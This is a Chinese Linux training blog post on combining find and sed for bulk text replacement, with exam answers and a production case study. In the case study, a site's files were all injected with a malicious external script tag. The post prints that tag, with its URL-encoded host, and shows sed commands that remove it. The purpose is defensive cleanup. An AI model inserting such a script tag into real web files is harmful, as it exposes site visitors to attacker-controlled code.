find+sed考試題及生產實戰解決案例分享(考試答案系列)

說明:本文爲老男孩linux培訓某節課前考試試題及答案分享博文內容的一部分,也是獨立成題的,你可以點下面地址查看全部的內容信息。
http://oldboy.blog.51cto.com/2561410/791245
特別說明:答題的思路技巧可能比做題本身更重要,這也是老男孩特別教導學生的學習方法。

5.查找當前目錄下所有文件,並把文件中的www.etiantian.org字符串替換成www.oldboy.cc

解答:

通過find命令查找,然後通過-exec參數調用sed命令完成替換

find . -type f -exec sed -i 's/www\.etiantian\.org/oldboy\.cc/g'{} \;

#→這個命令是錯誤的語法,僅結尾{}前少了個空格,細節決定成敗啊!

find . -type f -exec sed -i 's/www\.etiantian\.org/oldboy\.cc/g' {} \;

#→這個命令是正確的語法,點號爲特殊字符,使用\來轉義(除去特殊字符代表的特殊含義,使用其本身的原始意義)。對於本題可以不用轉義。

find . -type f -exec sed -i 's/www.oldboy.cc/www.etiantian.org/g' {} \; #→此處不轉義也可以。

find . -type f -exec sed -i 's#www.etiantian.org#www.oldboy.cc#g' {} \;

說明:此題考察find,sed命令的組合使用,是非常常用,好用的兩個命令,必須精通之。

案例實踐:

[root@oldboy test]# echo www.etiantian.org >test.txt #→創建測試文件,錄入wwww.etiantian.org

[root@oldboy test]# echo www.etiantian.org >ett.txt #→創建測試文件,錄入wwww.etiantian.org

[root@oldboy test]# cat test.txt ett.txt 

www.etiantian.org

www.etiantian.org

[root@oldboy test]# ls 

ett.txt  test.txt

[root@oldboy test]# find . -type f -exec sed -i 's/www.etiantian.org/oldboy.cc/g' {} \;

#→查找當前目錄(點表示當前目錄),所有文件,然後把文件中的www.etiantian.org的字符串,替換爲oldboy.cc

[root@oldboy test]# cat ett.txt test.txt

oldboy.cc#→修改後的結果,原來是www.etiantian.org

oldboy.cc

[root@oldboy test]# find . -type f -exec sed -i 's#oldboy.cc#www.etiantian.org#g' {} \;

[root@oldboy test]# cat ett.txt test.txt

www.etiantian.org #→修改後的結果,剛剛是oldboy.cc

www.etiantian.org

如果是語法錯誤就會出現如下提示:

[root@oldboy test]# find . -type f -exec sed -i 's#oldboy.cc/www.etiantian.org/g'{} \;

sed: -e expression #1, char 40: unterminated `s' command

sed: -e expression #1, char 41: unterminated `s' command

[root@oldboy test]# find . -type f -exec sed -i 's#oldboy.cc/www.etiantian.org/g' {}\;

find: missing argument to `-exec'

正確錯誤命令對比:

find . -type f -exec sed -i 's#oldboy.cc/www.etiantian.org/g'{} \; #→錯誤命令

find . -type f -exec sed -i 's#oldboy.cc/www.etiantian.org/g' {}\; #→錯誤命令

find . -type f -exec sed -i 's#oldboy.cc#www.etiantian.org#g' {} \; #→正確命令,大括號前後各多了個空格,這也是find命令的語法寫法。

參考man find幫助案例:

EXAMPLES

       find /tmp -name core -type f -print | xargs /bin/rm -f

       Find  files named core in or below the directory /tmp and delete them.  Note that this will work incorrectly if there are any filenames containing newlines, single or double quotes, or spaces.

       find /tmp -name core -type f -print0 | xargs -0 /bin/rm -f

       Find files named core in or below the directory /tmp and delete them, processing filenames in such a  way  that file  or  directory  names  containing  single or double quotes, spaces or newlines are correctly handled.  The  -name test comes before the -type test in order to avoid having to call stat(2) on every file.

       find . -type f -exec file '{}' \;

例:查看找所有文件並查看文件類型

[root@oldboy test]# find . -type f -exec file '{}' \;

./ett.txt: ASCII text

./test.txt: ASCII text

[root@oldboy test]# find . -type f -exec file {} \;

./ett.txt: ASCII text

./test.txt: ASCII text

學生典型答案:

答案1

解答: # grep "www.etiantian.org"  * |tr "www.etiantian.org"  oldboy.cc

老男孩老師點評:這是錯誤答案。

答案2

find . -type f |sed -i s/www.ethiantian.org/www.oldboy.cc/g

老男孩老師點評:這是不規範的正確答案,加引號比較好。

答案3

find . -type f |xargs sed -i s/www.ethiantian.org/www.oldboy.cc/g

老男孩老師點評:此答案思路也可以,注意加引號。

生產環境正式案例:

這是一個幾年前老男孩老師給一家IT公司做技術顧問時遇到的一個實際問題,情況是:

一個lamp的服務器,站點目錄下所有文件均被植入瞭如下內容:

<script language=javascript src=http://%4%66E%78%6F%72%67%2E%70%6F/x.js?google_ad=93x28_ad></script>

包括圖片文件也被植入了,網站打開時就會調用這個地址,造成的影響很惡劣。

    雖然問題現在看起來簡單,但當時該公司的兩個linux運維花了很久都沒搞定,後來給老男孩電話。5分鐘內搞定。

實際解決辦法:

    思路是:需要遍歷所有目錄所有文件 把以上被植入的內容刪除掉。

實踐演示:

[root@oldboy test]# cat guanggao.txt  #→模擬被竄改的文件,多個。

<script language=javascript src=http://%64%64%66%2E%78%6F%72%67%2E%70%6C/x.js?google_ad=95x27_ad></script>

處理命令:


法一:

[root@oldboy test]#find . -type f -exec sed -i 's#<script language=javascript src=http://%64%64%66%2E%78%6F%72%67%2E%70%6C/x.js?google_ad=95x27_ad></script>##g' {} \;

#→就是本題的命令使用方法。

法二:

find sed刪除 正則

匹配:?google_ad ,包含字符串?google_ad的內容的行刪除。

[root@oldboy oldboy]# find . -type f -exec sed -i '/^.*\?google_ad/d' {} \;

 特別提示:法二的方法,容易把程序裏的其他正常內容刪除掉,匹配關鍵字很重要,因此不建議使用法二。

如果用完整匹配刪除則很麻煩:

find . -type f -exec sed -i '/<script language=javascript src=http://%64%64%66%2E%78%6F%72%67%2E%70%6C/x\.js\?google_ad=95x27_ad><\/script>/d' {} \;

sed: -e expression #1, char 40: unknown command: `/'

sed: -e expression #1, char 40: unknown command: `/'

sed: -e expression #1, char 40: unknown command: `/'

sed: -e expression #1, char 40: unknown command: `/'

sed: -e expression #1, char 40: unknown command: `/'

sed: -e expression #1, char 40: unknown command: `/'

處理後的結果

[root@oldboy test]# cat guanggao.txt

當時的處理過程:

1、和運維人員確認確實出問題了。並詳細確認問題情況。

2、制定處理方案,先備份數據,然後,執行命令批量修改回來。

3、寫解決說明(類似本例這樣),寫完發給他們的運維。

4、詢問處理結果,並告知詳細查看日誌,問題發生來源。

5、提供亡羊補牢解決方案(站點目錄嚴格權限規劃方案及新上線規範思路)。

站點目錄嚴格權限規劃方案及新上線規範思路,請參考:

老男孩linux實戰培訓教案-Linux文件和目錄的屬性及權限精華講解
老男孩linux實戰培訓教案-LAMP/LNMP生產環境40條優化軍規精華講解

老男孩linux實戰培訓教案-生產環境sina,baidu,騰訊門戶站上線發佈代碼方案精華講解

 

特別說明:find,sed是工作中極其重要的兩個命令,同學們必須詳細總結,並掌握之。可參考:

《老男孩linux實戰培訓教案-強大的流編輯器sed詳解指南及經典生產案例》

《老男孩linux實戰培訓教案--find詳解指南及經典生產案例》

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章